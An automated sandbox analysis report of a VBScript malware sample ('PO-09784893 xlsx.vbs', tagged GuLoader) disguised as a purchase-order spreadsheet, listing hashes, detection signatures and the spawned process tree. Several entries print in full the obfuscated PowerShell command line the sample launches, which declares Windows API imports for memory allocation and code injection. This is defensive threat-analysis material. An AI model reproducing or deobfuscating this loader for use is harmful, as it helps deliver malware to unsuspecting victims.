Windows Analysis Report
PO-09784893 xlsx.vbs

Overview

General Information

Sample Name: PO-09784893 xlsx.vbs
Analysis ID: 755440
MD5: bfa859d9ad7b23d3606ea13f525065a7
SHA1: a1b3e395dc20bcdaa866b953a08a48d0079bace2
SHA256: ec51e9ad23c469e82059bd497873749017e80e136053a25c7a752ffa18bf2002
Tags: GuLoadervbs
Infos:

Detection

Score: 84
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Sigma detected: Dot net compiler compiles file from suspicious location
VBScript performs obfuscated calls to suspicious functions
Potential evasive VBS script found (use of timer() function in loop)
Obfuscated command line found
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Detected potential crypto function
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

Source: Binary string: ek8C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.pdb source: powershell.exe, 00000003.00000002.848043775.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp
Source: powershell.exe, 00000003.00000002.836596796.0000000002CE9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000003.00000002.861091835.0000000007940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.microsoft.co
Source: powershell.exe, 00000003.00000002.852449192.0000000005850000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.840675760.0000000004931000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.838609935.00000000047F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.840675760.0000000004931000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.852449192.0000000005850000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.852449192.0000000005850000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.852449192.0000000005850000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.840675760.0000000004931000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.852449192.0000000005850000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 4412, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku Jump to behavior
Potential malicious VBS script found (suspicious strings)
Source: Initial file: lysreklamerne.ShellExecute Blindtabletter, " " & chrw(34) & ap6 & chrw(34), "", "", 0
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 5576
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 5576 Jump to behavior
Yara signature match
Source: PO-09784893 xlsx.vbs, type: SAMPLE Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: amsi64_4180.amsi.csv, type: OTHER Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 4412, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Java / VBScript file with very long strings (likely obfuscated code)
Source: PO-09784893 xlsx.vbs Initial sample: Strings found which are bigger than 50
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_078135D8 3_2_078135D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_07810040 3_2_07810040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_078135CB 3_2_078135CB
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-09784893 xlsx.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41DE.tmp" "c:\Users\user\AppData\Local\Temp\ksa1shoc\CSC45555F46326F41418DCB1F5062A9163A.TMP"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41DE.tmp" "c:\Users\user\AppData\Local\Temp\ksa1shoc\CSC45555F46326F41418DCB1F5062A9163A.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2816:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_01
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-09784893 xlsx.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_daxdyhsl.wnc.ps1 Jump to behavior
Source: classification engine Classification label: mal84.expl.evad.winVBS@11/9@0/0
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
